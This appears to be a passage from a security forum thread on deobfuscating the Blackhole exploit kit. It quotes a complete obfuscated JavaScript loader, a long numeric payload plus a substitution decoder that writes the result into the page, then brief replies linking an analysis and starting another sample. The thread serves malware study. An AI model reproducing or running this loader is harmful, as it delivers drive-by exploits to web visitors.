767750926022388271523618526022308874007756785157523552715236185260223085412861261400705877555675787892623268508544012271280129265262708673816400775678515752355231529298165275787893229155426236526270827895467857767750926022346022367045764400727895467857767750926022308231529291286126140652627082789546785776775092602234602236757575723152929400727895467857767750926022346022367576481818789612967872315320840658057082789056775092602235050278905677509260223164065805780588089756732298761670887890932292685101514476754371287895467857767750926022346672926142685677540888065756785157523558081811261296787231532882715236185260223084007058775558757859226096526270887895487758087546768688789260946672726236786081826238602188990022929676185398775808754674040071826238602188990022929676185398775808754670840818112878686602623740567238588271523618526022308861261400705877555675785922609128757182623860218128065262708678926093015236108614040072627088789878686740567238533260985672367754007878987868674056723853326098567236775088612611227872909674081672909670726270887898785858761927405672385400787898785858761927405672385081702231779861261408167290967078057870617022317798636658706170223177986365767891826234887238629677508611280408181818112182623488723862967758827152361852602230886126140077567851575235527152361852602230840078608406526270885623267022755615757172715236185260223174007610840818181126033271523610916880636126033271523610988063612751523603327152361098827152361852602230887400787891826233302878667865785751567658789618729297175758762088789603327152361091640658789618729297175758762088789603327152361094065262708878902234602236774143285624626054007878902234602236774143285624626050840818112182623330287866786882787290967120303022360262386021833028786678688271523618526022308874007756785157523552715236185260223088040072627088789182623330287866786400787896187292908804081672909670787892752150992088012878960332715236109408181811286260588231529291286260560268685928869161232291554262383264567886412671432856246260588271523618526022308400705877555615785922609128712671280128657166526270861898626056868618986260589619226298610028667094007270275088757618986260589619226298610028667098929672354859243646587255716658743434007805761898626058961922629861002866709068736652627088068688089619226298610028667094007262708865757164007270275086757808961922629861002866709892967235485924364656725571665674343400780897567140205679092262986088089619226298610028667090667364081618986260589756714020567909226298608804081672909670781818181811246511074271523610988063612022346022367741432856246260588271523618526022308400705877555615785922609128712806526270804618918262333028786678640077567851575238126270861896033271523610968686189603327152361098929672354859268686189603327152361090661896033271523610989296723548592436436045757231529294007756785157523812702750887552623556140078057610687366526270880686880892715236109400726270880895182305757194007756785157523812627088089271523610989296723548592686880892715236109068089271523610989296723548592436436045757231529294007756785157523818181270275088757166587386189465110742715236109892967235485926587797940076189618729297175758762086189465110742715236109408161896714328562462605084081125467856026868592882715236185260223086140072627086140070587755587576189096175022929602686859250506189022727096785602686859212805785922609652627088089260910151408874040077567851575235587818175678515752355436481125467858287548385878515098827152361852602230814125412871280400705877555615785922609122712205714890932872312295761895467856026868592082040129257878909328723126357618954678560268685920892401286575489093287231226576189546785602686859208864065262708042050500492505004865050046189546785465135028063081440400775678515752355431381262708633826505029381650506338165050263816505026385761893229155426238326456750506189322915542623832645673864400775678515752355168126270829255726400775678515752355436481857562072627082957576189322915542623832645676868080461892609007450506189546785465135028063081440897567878662838587856757577040400726270804148918262333028786678668686189182623330287866786400775678515752355648126270814891826233302878667866868618926091015140880404007262708046189260910151408148961021523854040071489610215238557808126270880431489610215238525576416400775678515752355648181818161878561920827400781756785157523551681125467854651350280638827152361852602230854128740070587755527128657859226091261575458548909328723881612805761686861892726750985909226298658648816658575620726270880686887400761892726750985909226298689270261150908408181618785619208274007817567851575235580586189272675098590922629868823152929811209678583856229678827152361852602230880125440070587755527578089098562296712871286126157859226096526270827686854400727027508875716658738548929672354859265875787791340078575620727065406873636575406877964368161878561920886400781818181122623096775854626050023110286628827152361852602230826400705877555541286578592260912925717328619197373191973731712615723152929122757860261151467238512805717381712875708278954678574296714672385091162828754108714670817800286621740061636505027898002866240652627080487400785756207278918752685670880795386260555268657175379927953172502537980791724862605251740656157278954678574296714672385116200860892408161878561920854400781818757082789546785742967146723850911628287541087146708178002866217400616365050278980028662406526270887400726270887892726750985909226298668688689260946672726236786088789262309677585116727027567404007878926230967758511672702756708261287892726750985909226298640816729096707878987323267238690922629860826408126270861400787897567140205679092262986086140818167290967078181122623096775854882353388271523618526022308541280129212871220400705877555291214578602611514672385126357859226091221120257148961756787856774296714672385081709328723174012231226122757173817650587755561570617021585292623678385622967171217230223671712178002758667758385622967171217230223671712173287868626235417121716323717121714877554262317121716323717121705260926802629268562171217052609268029671736652627080463892609466727262367860887404007875717178126270863892609838575262354085440686808240676590936244089856709850854404007215727795479535518268685925717537963893229155426238326456779531755926726549285571753796389322915542623832645677953175553652702750823571665233880892967235485926523572379134007262708240676590936248985670985088006237964364040072179578006233679535717537980062379643679531755538181217957172517652702750823571665233892892967235485926523572379134007262708240676590936248985670985089206237964364040072179572779533287758714552387146757175379920623367953175505872915675717537992062379643679531755242553818121795787792779172417795479172517816729096707215787812627080463898626054007638986260557148961756787856774296714672385081786260517406526571489546785742967146723851162008608173229155426238667856761851740652627082640076389862605572681672909670763898626058926865717322915542623866785676185176563892623096775854626050023110286620863898626054081638909678583856229670863898626051261896102236187850806171826868592171263898626056026868592791732371712179267265492851712086389322915542623832645677919407917323717121727022385832645671712086389322915542623832645677919407917323717121729262367486726549285171208638932291554262383264567791940791732371712170567758526618729712926542317121780870967292623671712178626093229876217121780290261201736404065262708042640076389096785838562296708638986260512061732020926852602231712178780090229158567171217752654928517121716323717121785023217121716323717364081812627086389862605686863898626058932877567238510028667400763898626058987323267238690922629860802406563890967858385622967080212618961022361878508061727022385832645671712086389322915542623832645677919407917323717121729262367486726549285171208638932291554262383264567791940791732371712170567758526618729712926542317121780870967292623671712178626093229876217121726232926236717364040658575620726270802686802893287756723851002866740070289270261150908408181618785619208294007818575620702892623236775488235335721816187856192082940078126270802896192262986100286670989296723548592575764686804086389260939676120026868638961021432877567101514090863890567753967612002121764126912161216174038164040076389096785838562296708028927267509859092262986126189610223618785080617862609322987621712172623292623671736404081756785157523070932872388021218262333028786678688638918262333028786678612858754108714678808638926098385752623540854405854881717408181756785157523070932872388231529291218262333028786678688638918262333028786678612858754108714678817178181126387058788071426146782623267880617873232292661878526022324374363870587438732322967851712178732322926618785260223243743638705874305141712178732322926618785260223243743638705874380678723173612142614678262326728520088178732322926618785260223243743638705874387323229678565633226430567750926022357171261298709090046881761290926868844714673904470164316707074436464466443111974734316164416693070737346731917124682016129870909004688176129092686889071307474307190434674907843161616164316161616437111904674303074469011711712468201142614678262326788061787323229266187852602232463870587438667322902621467238543850202292026851712178732322926618785260223242332751523852614674309617526328587802967433229155426236546673229026214672385820202292026851736122702756167776775262762828754880636126387758806361274238780296786882387052654878502758963870587742387802967860840127774104651478388061783152355352661750209620985671409550023618917121771323229675590021432158567751255002361891736125182308823152929127129294905677509260223098806361214261467826232672852007567091529858817171228870587522915542623490567750926022309880636122887058777677509260223098806066412731213121916361206641244121312191636120664127812131219163612066412721264121916361206641269126412191636120664127012131219163612066412191264121916363612096787756192288705875229155426237122518827152361852602230840070587755592572315292912875785922609126157878903125457063612635706641269121612647036122657066412721216121336122757066412191264121636126757066412701213121636128657066412691216127836128057278729096765262708046189716185260567227423878029678640077567851575235523152929816526270861890567750074255787891426230074056775400754578789096787756192288705877122510826122612804065262708548929672354859225166868804007545787890967877561922887058771225108631263128040818167290967072627085489296723548592575716400754578789096787756192288705877122510827126712278729096740818126270854892967235485922516400792575406163681878928870587522915542623490567750926022309570636896102236187850854406575678515752355928112096787756192288705877122518827152361852602230829122612144007058775552312271292578592260989031221122012871267125412631280127557063665262708928961021432877567101514090829896302262308171217401226896302262308171217404025164007265729812657928927027514878510151408268963022623081712174040650587755502128657176412701213121617126157172887058752291554262389177929061636791717792906643679171779290613367917177908290619362516580817491779082906193638641658171617881717407929061936408817174065270275082357166523388592260989288705877767750926022309892967235485926523797940072757859226098928870587776775092602230906233665215717288705875229155426238917792706163679171779270664366554572706163679178917792706643679178917652702750887572706133665872557166587434340078057172887058760678083858775858926090023098587292967868917795479877917891617652627089289610214328775671015140908270616367917121779270664367917121779877917121617122640255716686804928954678571225108804040076102238526231567810257928961021432877567101514090827061636791712177927066436791712177987791712161712864038165885751567882787290967652702750867572706193665672557166567434340072057877917491779086738641658171617796788674065635721792065262708928954678571225108634068680802505092895467857122510880404040077589321509920854792040652627080414400775678515752355758181262708635757614007756785157523557581812627089289546785712251082179874068680802505092895467857122510880404040077589321509920854798740652627080414400775678515752355758181262708217987575761400775678515752355758181817567851575235575811214262300740567758878125467853526146728520005677509260223882715236185260223084007058775559212875785922609128657878903126157236718554767547437320817081779878914261467826232672852007917400859868966401712172617401220572367185547675474373208172887058717121726174012671263122757171712265707811254571612806527027508925716659238238705265487850275891426146782623267098929672354859265927979400763572387052654878502758914261467826232670906923665262708618985670985086389856232674068680867576389672387802967865229155426234068680863574767547437328903134068680820898567098508678986670961752632852602235050274050502089856709850867892387146750502740404007260617871779868927027514878510151408634036576381818057171612161216121617652702750892552623552640075479796567579289092926616708644065262708868961021432877567101514090867128040251640078057678181878914261467826232672852007567091529855754251658878914261467826232672852007926061787177980368817176575678515752355542516588088231529298112546785776775092602238827152361852602230814128612294007058775552712615785922609126757618903129257618910518230128057618987323229678512635761890567752627621226570567238602755705677509260223742387802967865723152929652627086189546785776775092602234602236757575723152929400761895182305716656189142614675180635767899287093526146782623267086189142614678262326740656189866732290262820189035767656189866732290262820189328775672385100286675761658089035767658089328775672385100286675761652627089240079289035767659289328775672385100286675761812627086340076389328775672385100286675761656389035767656389262326850840818105877555206526270867892609717575876208294040072702750820571665203880898729290218678689296723548592652079794007262708678926091015140829062036404007808987292902186786062036572906203681818127027508205716652038618927027561677767752627628287548929672354859265207979400780898729290218678606203657618927027561677767752627628287540620368126270867892609838575262354088640400761896387758932150992088640812627086189546785776775092602234602236757571640072627080461890567750926022350508089618723827562712362084040072757808926230967758548823533421567756271292908864065262708270616364007618926230985872929678657646561897423863967857767750926022308270616361227066436408181756785157523810587755554576189866732290262820189211567756208406526270854892847744007265754892847746505672386027557618977741046514783061636812627080467892609007440070587755521122312871202650257086189142614675180636868618974238780296786405885751567882787290967652627080426686808275761895467853526146728520005677509260223084040045757231529294007265727812627080426686861891426146751806340072757172887058706765986366652291554432623176587576789272623861087055229155426230827406526270887400727572367185547675474373208271217261740652157278985670985088789866709617526328526022350501717405867895467851015140887898667096175263285260223408823152929652357278985670985088789238714675050171740586789546785101514088789238714674088231529296526270821686823400726570867896102143287756710151409086789270275148785101514082140126789270275148785101514082340402557164058218823816729096707265721505023818181262708042668686189142614675180636868678926098387278775266868678951835757134007875767892726238610870552291554262308172887058789665986896652291554432623896690026102871712164065262708874007215767895467851015140887898667096175263285260223406526270821400726572181818126270826400761890567750926022316572665262708618974238780296786400705677509260223742387802967865726818181672909670726270804266868548909858785150957571640072657618909678775619228870587522915542623712251084065262708264007056723860275576189777410465147830616368181262708264007618905677509260223165726652627086189742387802967866868678971618526056722742387802967864007056775092602237423878029678657268181812627080405677509260223742387802967865050808961872382756271236208404007275780892623096775854882353342156775627129290886406526270827061636400705677509260223742387802967865727061636650567238602755727066436818126270804056775092602237423878029678668680827576189211567756260268592021585713232296785090840400616364007618905677509260223165705677509260223742387802967865727061636650567238602755727066436652627086189262309858729296786575743168969400761892623098587292967865716896981812627086789260983872787752668686789518357571340072627080405677509260223742387802967866868024007262708618926230985872929678657575723152929400761892623098587292967865716816729096707262708618926230985872929678657574316896940076189262309858729296786571689698181818126270861896375674626098780296786084040070567750926022374238780296786572315292981652627086189262309858729296786575757231529294007618926230985872929678657056775092602237423878029678658648808265843168913884364408161897423863967857767750926022308056775092602237423878029678612056723860275408112742386396785776775092602238827152361852602230880128640070587755587578592260912615787890365262708878905677509260223164007878905677509260223165761892702751487851015140861895467851015140887890567750926022316404081262708804007878905677509260223576189270275148785101514086189546785101514088040406587890567238602755708618926098385752623540886405886881717408126270887895467857767750926022346022367045764400787895467857767750926022346022367571681811263756746260987802967868827152361852602230840070587755580578592260912865780890312615780898667322902628201892115677562084089284774128765262708616868868951835757644007262708088689260939676120026868868961021432877567101514090886890567753967612002121764127312131216174025571668688689610214328775671015140908611217641272121612641317403816405050088689260990927502146768688689610214328775671015140908611217641272121612641317403816404007756785157523556481816526270886892609513267758768688689056775513267758725577368680480897423878029678668680480891426146751806368680480892115677562602685920215857132322967850908400616364007756785157523556481262708088689260939676120025050868926099092750214674068680480891426146751806368680480892115677562602685920215857132322967850908400616364007756785157523556481756785157523551681128667322902628201880709858785150988231529291228477487292988063612284774882315292912488235338823152929122115677562882715236185260223084007058775552757859226091292572789031261572789328775672385100286671226128712801254572967235723152929652627082789098587851509045757231529294007756785157523552781278909858785150957166526270808928926093967612002686892896102143287756710151409089289056775396761200212928927027514878510151408176489721740403857164050509289260983872787752650509289260990927502146750500892892609007468680492897161852605672274238780296786404007756785157523552781262708928926090074686892890567750074255772400727894882353357928926230967758548823533081702806367618517120636120636406554579289546785465135028063082789488235334081672909670726270804928926090074686808805792899287093526146782623267086189468201142614678262326740406868808985623267400727894882353357928926230967758548823533081702806367618517120617856232671712808985623267361206364065545792895467854651350280630827894882353340818126270854400726270892892609007468689289056775007425577240078575620754896129870909268657618946820161298709090046816187856192082640078181658575620705877555865754896305140965262708864007296723578689546785336723548592084065262708928926091015140829672340400727890985878515095729672325165864884364652702750887571665873829672365877979400780579289546785101514088689546785082967234364438740890567750926022340652627088040072789284774872929068736578081818181816187856192082640078181262708278928477487292989296723548592251640072789284774579289270275148785101514082789284774872929061636408175678515752355278181122115677562602685920215857132322967850916168827152361852602230861128740070587755580571826238602188963870587128665857562072627088068688089298723546868808929872354898362098567144007878905872915675706808929872354898362098567148954678552750232677585620817638705878905677509260223174079175517128089298723548983620985671489546785527502326775856208176387058789056723860275174079175517368181618785619208864007818112211567756260268592021585713232296785098827152361852602230840070587755561578592260912275761890312541287576189211567756260268592021585713232296785096526270804878905872915674007878905872915675706231529291223152929366526270804278926090074686818262386021889638705874007262708278951835757136868278926095132677587686827890567755132677587387389136868278905677551326775872557734007816729096707262708278926093967612002686827896102143287756710151409082789056775396761200212176412731216121617403816686827896102143287756710151409082789056775396761200212176412441216121617402557164007816729096707262708278926093967612002400705877555261280129257860261151467238565262708928961756787856774296714672385686892896175678785677405672385400785756207265792896175678785677429671467238508178626051740128057928961756787856774056723850817488235337405672385091740658089262326857405672385081761928723546717122787290967122787290967406526898786867405672385332609856723677508176192872354671712278992872386296775086189211567756260268592021585713232296785091616122712874012278729096740652689862609328785619274056723850880408161878561920854400781818167290967076189211567756260268592021585713232296785091616082712874081818181817567851575235587890587291567811287323229678588077567091529850988060623152929122315292936120623152929122315292936120623152929122315292936361248823533880616121612163612876185260567880616121612163612872929021867868806131213121336124615141462518063828754488235338816124615141462833287238287544882353388161254678547670915298588271523618526022308400705877555615785922609897567091529850912871280652702750887571665873861892967235485926587797940078057610687366526270880061636400780756787208181756785157523063689610223618785088040811261872382756288271523618526022308864007058775558057859226091261578089031287578089328775672385100286676526270880898729290218678606863657571940077567851575235585751567812627080487890567750926022316505004878974238780296786505008618926090074686804618971618526056722742387802967864040072627088089872929021867860686365757134007756785157523558575156781262708808987292902186786068636575764686804808954678547670915298508400616364007756785157523558575156781817567851575235527872909678112618723827562712362882715236185260223084007058775558057859226091287652702750887571665873880898729290218678689296723548592658779794007262708808961872382756208874040077567851575235585751567818175678515752355278729096781126187238409677132322967858287548827152361852602230840070587755580578592260912615780890312875780893287756723851002866765756785157523080461892609007450508789742387802967864081126187238409675180636761858287548827152361852602230840070587755587578592260912805787890365756785157523080480892609007450508089716185260567227423878029678640811221156775628292260988271523618526022308924007058775555412615785922609128057618932877567238510028667122757808903128757056723860275572315292912865727895467854651350280630861894882353306923612857515674065262708864007857562078757868954678577677509260223084079175517650567238602755786895467857767238602750840791755176586890985878515098087750827891826233302878667865817551788175517408161878561920854400781262708278926098385751015140887404007618975670915298509069236570687120567238602753681857562072627082789260900746868876868868975678786628385878567045770400727895487758087546757857515676586893287756723851002866789756714020567909226298608864081816187856192085440078181811226230967758548823533421567756271292988271523618526022308674007058775555457859226091223575489328775672385100286671286572389031202575489756709152985091221575489488235331292571768238009326568238009326568238009326568238009326517121557177189612987090917652627080486892609838575262354086740505004082459896387755909660324408985670985086740505008245959244089856709850867404007756785157523062315292912231529293681262708238951823038644007238951823057648126270823896375674626098780296786084040077567851575230623152929122315292936812627082389518230381340072389518230571381058775556157671285571717121465262708082406592436244089856709850867404007145767890932292685081724174065615714061489296723548592436436651406148929672354859243643657171765855714896302262308172417408105877555635706178775619226056717126112176102866717121536122957061714876209617526328517121785751567173612755706170961752632858780296717121785751567173689610223618785082940122757048689260900746868238914261467518063686823891426146751806389856232675823891426146751806389856232678823891426146782623267061636652627080421061636686854896187238409675180636761858287540840686854896187238275620816404007210616365786892609007458868926230967758548823533081702806367618517120617856232671712273689610223618785086340120617610286678087096717128536896102236187850863408961022361878508754012921223408886892623096775854882353308170280636761851712061785623267171227121787756192260567171261121761298709092686171217638705878817791536120617610286678087096717128512178775619226056717126136896102236187850875401292122340650206163657061612163665548921156775628292260908164081262708042106643668685489618723840967713232296785828754084068685489618723827562086440400721066436578689260900745886892623096775854882353308178732322967851712061787298517129236896102236187850829408961022361878508634012061761028667808709671712853689610223618785082940129212234088868926230967758548823533081787323229678517120617610286678087096717128512178729851712923689610223618785082940896102236187850863401206368961022361878508294012921223406502066436570616121636655489211567756282922609086440812627080421061336686854896187238409675180636761858287540840686854896187238275620813404007210613365786892609007458868926230967758548823533081702806367618517120617612987090926861712238961298709090046361206176102866780870967171285368961022361878508634089610223618785087540129212234088868926230967758548823533084065020613365706161216366554892115677562829226090813408126270804548946151414625180638287544882353368685489618723840967518063676185828754084040075489461514146251806382875448823533578689262309677585488235330817028063676185171206361206361292408126270804548946151414628332872382875448823533400754894615141462833287238287544882353357868926230967758548823533081717120636120636129240816505877555201287571665270275082057166520380289296723548592652079794007262708210620365050548961872382756208204040078779798167290967078075678720818126270887575702892967235485924007238954678577677509260223460223675723892702756167776775262762828754892967235485922516581688648175678515752355548954678547670915298508408181128732326723868827152361852602230867128640072702750805877555615716656138868929672354859265617979400767893215099208860661364081811228870587302637882715236185260223084007818112878602806775678786677588071426146782623267881787323229266187852602232432862717122387055229155426235180638823152929123275025400468806177161750252463089524630171217524630895286279085752917361261298709090046881761290926868890714471737844164313441646436464903043711370464370707069691969701616161617120010838271333374468807811232291554262348870935261467826232678827152361852602230886126112274007058775558057859226091267578089031287652702750887552623558640072627088606873668688606873689856232676868860687368985623267575761400775678515752355648181262708678954678535261467742387802967865229155426230861122740400775678515752355648175678515752355168112546785776775092602238827152361852602230826126340070587755527578592260912615727890312921286122012145732572315292912545723152929122957231529291287128065635708618926098385752623540863406868638929672354859240586389756732298761670824590924121717408985023302186775908709670840882789142614678262326765262708618926094667272623678608278900108382713333744606633640400727892623098587292967865727890010838271333374460663366575678515752381262708046189260900744007875717718602806789665246308966522915544358262350718602806789667161750280878589665229155443582623507186028067896647678786677589665229155443582623176526270827895467857767750926022346022367045757164007278954678577677509260223460223675716653257618954678535261467742387802967865229155426230827891426146782623267128740652627080432686861899287093526146782623267082789142614678262326740400732576189272623861087055229155426230887121640812627083240072789238705522915542623518063573265545761895467851015140832898667096175263285260223405050618954678510151408328923871467406554576189546785522915542623302629677767750926022308321254406526270804546868618951835757644007262708278932291554262348870935261467826232670832121787323229266187852602232405238689878602806789328627371429171287404007545717731781672909670726270827893229155426234887093526146782623267083212178732322926618785260223240523868987860280678937431487750917128740400754571744178181818181672909670754572789056775092602238114576189546785352614677423878029678652291554262308631287406527892623098587292967865714686854586488081458168808278923870552291554262351806358431689138843644040816729096707325761895467857122510827893275025400460616364050506189546785712251082789327502540046066436406580572457590966080659865989367940245465857562078657083250506189546785465135028063086189262309677585488235330817028063676185171206176129870909268617122789612987090900463612061709756117121717361217171227404040893967857767750926022309084065270275082057166520386965207979400726270880898567098508864068680804545050476754743732890364255440400754574767547437328903648181816187856192089240078127892623098587292967865754586488083258168843644081262708042789056775092602234007278905677509260223576189270275148785101514085440812789001083827133337446066336572789262309858729296786818112454588168165522915542623466785676185892623268583617526328508406552291554262346678567618589546785776775092602230817891740656305677557522915542623466785676185895467857767750926022308172887058717126387058727262967406532862705677557522915542623466785676185895467857767750926022308177186028067476787866775174065816187856192086740078126270885623267022755630567755757530985752623545340076305677557630567758909322926850853895340816729096707630567755706161216121612163681262708856232670227553286270567755757530985752623545340073286270567755732862705677589093229268508538953406505877555328627055732877509670023850832862705677506163679328627056775066436793286270567750613364081672909670732862705677557061612161216121636812715236185260223552754081575291255182686859212559267265492854007550587755509645557558602611514672385896175678785677429671467238508172627758714671740655509648909678571858575268015856708170975611712551575294065550964890967857185857526801585670817182686859217125518268685924065550964890967857185857526801585670817926726549285171255926726549285406555860261151467238589800286628987323267238690922629860809644065812715236185260223556723610286670814405507555555058775557555575517176555555527027555082955575516655529553855148929672354859265552979794055075555555555555555058775552055575514896192877590028667718508294065555555555555557555795755838575262354892775021490928775900286670808082055685516373016405525255570405579556440655555555555555575557957558385752623548927750214909287759002866708082055685516373040557955644065555555815555557567851575235575658127152361852602235563091392673708614055075555058775553755575561898502838575262354086472406555550587755518555755083789296723548592555655134055585517161755795537558855376555557567851575235518812715236185260223556309670961873267087518405507555555550587755575555755171765555555552702755508155557551665551555385575188929672354859265551579794055075555555555555555755579575517561765555555555555555575557957556309139267370875188961928775900286677185081540406555555555815555555575678515752355756581271523618526022355872309640840072627080863056775066436575769686863056775061936385713194050500863056775066436575772686863056775061936385764444040075586026115146723858918752685670853388732322967855561028667571761296787758977677526272667868961298709091755877561922605675717928585328824248767277518857262156269707519672786896145896161242614875467092473721361727378727070736719197072877844696913736961786144698787808963877517253832877587145523871467571715752917550587291567571792858532882424876727751885726215626970751967278689614589616124272464782787736773167080137278872786276986161661787367731972808080692419172538248732322967852553406581872309130840658127152361852602235587230913084007262708630567750664365757726868630567750619363857131940075527540817928585328824248767277518857262156269707519672786896145896161242614875467092485246478278773677316708013727887278627698616166178736773197280808069899285142917121764171217641740658187230919084065812715236185260223558723091608400705877555758770571789242489892424140923153286878567896737671712758719578602611514672385896175678785677429671467238508170280636761851740657587198909678571858575268015856708172686171275871940657587198909678571858575268015856708176129870909268617121761290926868811467372906969724372697119436464461643734419714316169016703090137374197217406585756207058775557587165775871989907567878567518063676185081787860286808909857567871417121717401275876457758719899075678785675180636761850817839267292989713232292661878526022317121717401275871357758719899075678785675180636761850817140937142913892235334882825217121717406585756207758713890232672308173974821712179285853288242487672775188572621562697075196727868961458961612427246478278773677316708013727887278627698616166178736773197280808069246917122787290967406575871389096723860840657587168985623267576465758716890232672308406575871689607526856708758713897567093202230967110286624065758716898387056782023026296708758770121340657587168990290209670840658161878561920867400781857562077587648909926729296737676115856708758770406581618785619208674007818161878561920867400781872309640840658127152361852602235587230969084007262755080832862705677506163657574440505008328627056775061636575773686832862705677506643638571940400755275408179285853288242487672775188572621562697075196727868961458961612426148754670924233224647827877367731670801372788727862769861616617873677319728080806989328627171217707278171217707373174065818155271523618526022355872309190840075526270863056775066436575772686863056775061936255764166868630567750619363857647340072715236185260223552963090861292686400785756207058775555492858057860261151467238589617567878567742967146723850817511128749082174065549285808961298709092686571761290926868817796129268665549285808929871523619208179285853288554328436387755543285959595973648913647889646919897244595909148059592902026120898705265555928585328824248767277518857262156269707519672786896145896161242724647827877367731670801372788727862769861616617873677319728080806924705523022367174081618785619208674007818129630908179071307474307190434674907843161616164316161616437111904674303074469011711740652963090817447146739044701643167070744364644664431119747343161644166930707373467319174065818723097008406555812715236185260223558723097008400726270863056775066436575772686863056775061936255764736868630567750619363857136440075555058775551575295557551792858532882424876727751885726215626970751967278689614589616124272464782787736773167080137278872786276986161661787367731972808080692472176555550587755509555755175669695670645678135619735672705669735619785669695678695619695669135678705678445619165672645669195678445670465672195672305670705669135619165619165670195619695672465672135619445619645678445678735672905672725672195672195672725678735669705672465672115619695672305670905619695672195672645619645619735672445678695678645672735619735678645619135619445678645619735672645669705669715678445670715619725678735619135619445672715619445678785678195669735672735678445670465672695669445678725672695672715669705670735670735669445669695619195619165670465678785678785670305678725669645672785672645678135678445670715672785678725672905672725619705670745619165670695678165678195670905669785619785678785672715678445678135672745678785672115672745672725678785678705670305672305678725672135619165619195672705619445672115678785672195619725619725670305678695619445672725619165670715619135672715678725619735619705678695672705619195669195678785672305619195672725619705619165678705619195672715670465669725619445619135672195619705678715678785678165672905672905669785669715678695672905678645672745678725619195619725669735672905669725669785669135670735672705672785670705619165678715672135678785672115619445619445670695672135619165619135670115669785672715619645619705619195672115619695678725672135619165678725678645672135670785670735619195678785619705619695619735678725678135669195669735672715672745670725619195619735678195678705619785678165619695669135678645672645672135672465672745670905672695678695619135672645672115619785672745669735670705670695672695678785678715619195669445672715672465619735672115672305672305619135672645670195678195619135678445619695619135672695678645672465669785678135672445619195619735619785670465672705619195670195619195619135678735669725669725678695669695669705678695670785619195672305672645672115672705672305672465669445619695672645619725619695678445619645672725672905678195678165619725672715672905619445672465678705672705672695672195678445678645669165678705669705678715619195678725619195672705670305669165619445672465678695669715619645672715678785672735678715619705678645619645619445619735669645672735678445678695672735619645619135619645670695669695678705678165678725672735672735619445669705678735672705672445619695669715619165670445672705672715672645670645672785672115678735672715678705672695672705672195678785672445672305619135678735672135678135672735678445616715672905619705678905670735672715678735672905619115672645619305670725619135678705669695669745672785619305619645670305619725670165613165672165670465619785619725678905669135672165664785664905619115619785619725678905678905619695669445619135616745664305619705678905664725678135619725678905664165616645616705616645616645616645616645616645616645616645616645616645613785619705619705678905670715678135678195672445616715672905619705678905678445670735619725670645678735669735678465678445672305619165669445670165672135619905678695670465672725619195678715678115670465619785619725678905678715678785672445678785619115619785619725678905669905678715616135616135613645672135619785678905672705672725616135616725616465672735619695678905616465672735619695678905616465672735619695678905616465672735619695678905619115619785619725678905678305672725678305669645613645672135619785678905678305672725678305678785616465672735619695678905616465672735619695678905616465672735619695678905616465672735619695678905619115619785619725678905670905616135619725613745613645672135619785678905678735616135619165678305616465672735619695678905616465672735619695678905616465672735619695678905616465672735619695678905619115619785619725678905678725664645669785664645613645672135619785678905678165613165678135672305616465672735619695678905616465672735619695678905616465672735619695678905616465672735619695678905619115619785619725678905619195670695616445613195613645672135619785678905669715619705664165672725616465672735619695678905616465672735619695678905616465672735619695678905616465672735619695678905619115619785619725678905619735670695670645619695613645672135619785678905619715672715670465619165616745672115619705678901765555509557957556309670961873267086723610286670815236709618732670817567411561670567819563019567471567390567411561678564411563030567830561644567316567874561669567411563078569072567844566930567411561672566971567869561671567870561644567890567444563069563030563030563030567072567070564464567471567469563030563030563030563090564411563071564411563078561919569073564416569064566919567146561969567316567219564444569078567111567413563078566469564478563046563013567873561990561111561678563070567444569044563078566411561319564470567090567416567830567870567364566411566469564416563070567011561669561619567373567190567216563090563070561190567413567272564613564416567390567878567830566411561319561144561670564672566971564474561113567211567470561190567419566469564478563046567378567873564444569019567372569072567444563046563011566411566478561146561130567319567372564674567090567472567019564411561913567119567171569064564472561946567216567046563070567011567290561972564678567144567364563090569030566964567144564469569070567071561319567219561972567111567890563046561316569074567444564672567419567319561174567474567090567390561344561669564464567890567390564690567419567390567444566916569070567046567444564490567090567319567172561319567373569073567116567219564464561946567444567416567478566416566474564470563070567470567216566474561390567219567444567416569030566411567370567413569019569073564411566464561944567230567390567271561974563044561690567472569078567316561611563046561169563090561674564690561944564472567416567090569030566411564411567216567078567230567390567878567090567078566916567044564416567144567270563046561990564678567473564430564416569078567411567190563030567811567264567219567373566411564490564678563070566916561669561916569019567364567044567244567090567090566916567064567372569013561916564644561944569072567230564613567374569064561964561619569069569019566916567064564470567144567244563046561990566464566444567870567473563069566411567446561113567319567416567219569030566473567216567030564470567370567046567446561130563069567411569019569030569011561913564673567370569078561913567878567364564416567472567044561113567372561673564473567370567230561969564490567346569073567416567071569019564664567419561113569078567469564646567878567364567344563019567216566469567274567390567878567073564674567246567270566930567274567473564472561173567044564464563011563070566971567473564619563064564471567090563044563074563013566911561116569078174040406555550955795755630967096187326708672361028667088385752623548927750214909287759002866708157529892967235485924055795515752940406555550587755587555755860261151467238589617567878567742967146723850817873232296785174065555587890967857185857526801585670817298715236192632329321712176417406555558789096785718585752680158567081786026180870967171255152367096187326708094040655555860261151467238589800286628987323267238690922629860887406581872309690840658187230916084065";

z="IKo$!v[{(sNB,2mu0\"w3kqXn/>ifJlF@pL#M]x<G)ZQ-8zDRH_|OP'g %=?\\Wcyj1;*e&54A69Er^V7+b}TSUtda:.CYh";

s=new String();

        if(typeof(a) == 'string') {       
          if (typeof(z) == 'undefined') {
           pos = a.indexOf('<textarea id="textarea" style="overflow:hidden;width:1px;height:1px;">');
           if (pos > -1) {
            z = a.substring(pos);           
            z = z.replace(/<textarea id="textarea" style="overflow:hidden;width:1px;height:1px;">/g,"");           
            z = z.replace(/<\/textarea><script>/g,"");           
            a = a.substring(0,pos);           
           }   
          }
         a=a.replace(/<html><body><div style="overflow:hidden;width:1px;height:1px;">/g,"");         
         a=a.replace(/<\/div>/g,"");         
         a=a.replace(/<div>/g,"");         
         a=a.replace(/<script>/g,"");         
         
         for (i=0;i<=a.length;i+=2){
  q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
  s=s+z.substr(q,1);
         }
        }
         else   
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
  s+=z.substr(a[i],1);
}
        }

        document.write(s);



 
Ruining the bad guy's day

September 13, 2011, 03:20:01 pm
Reply #10

promised

  • Jr. Member

  • Offline
  • **

  • 21
It seems that pmswalker can deal with it automatically ;D

October 04, 2011, 02:05:47 pm
Reply #11

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
This article has been written by our member Ocean.

Blackhole deobfuscation with Malzilla
http://ocean.inseclab.org/2011/10/04/blackhole-deobfuscation-with-malzilla/
Ruining the bad guy's day

December 20, 2011, 04:34:04 pm
Reply #12

Securettyphreak

  • Newbie

  • Offline
  • *

  • 3
Perhaps, I've stumbled upon another version:

Quote
Start of obfuscation:
<html><body><script>
null+function(){
c='createCommen';
}();
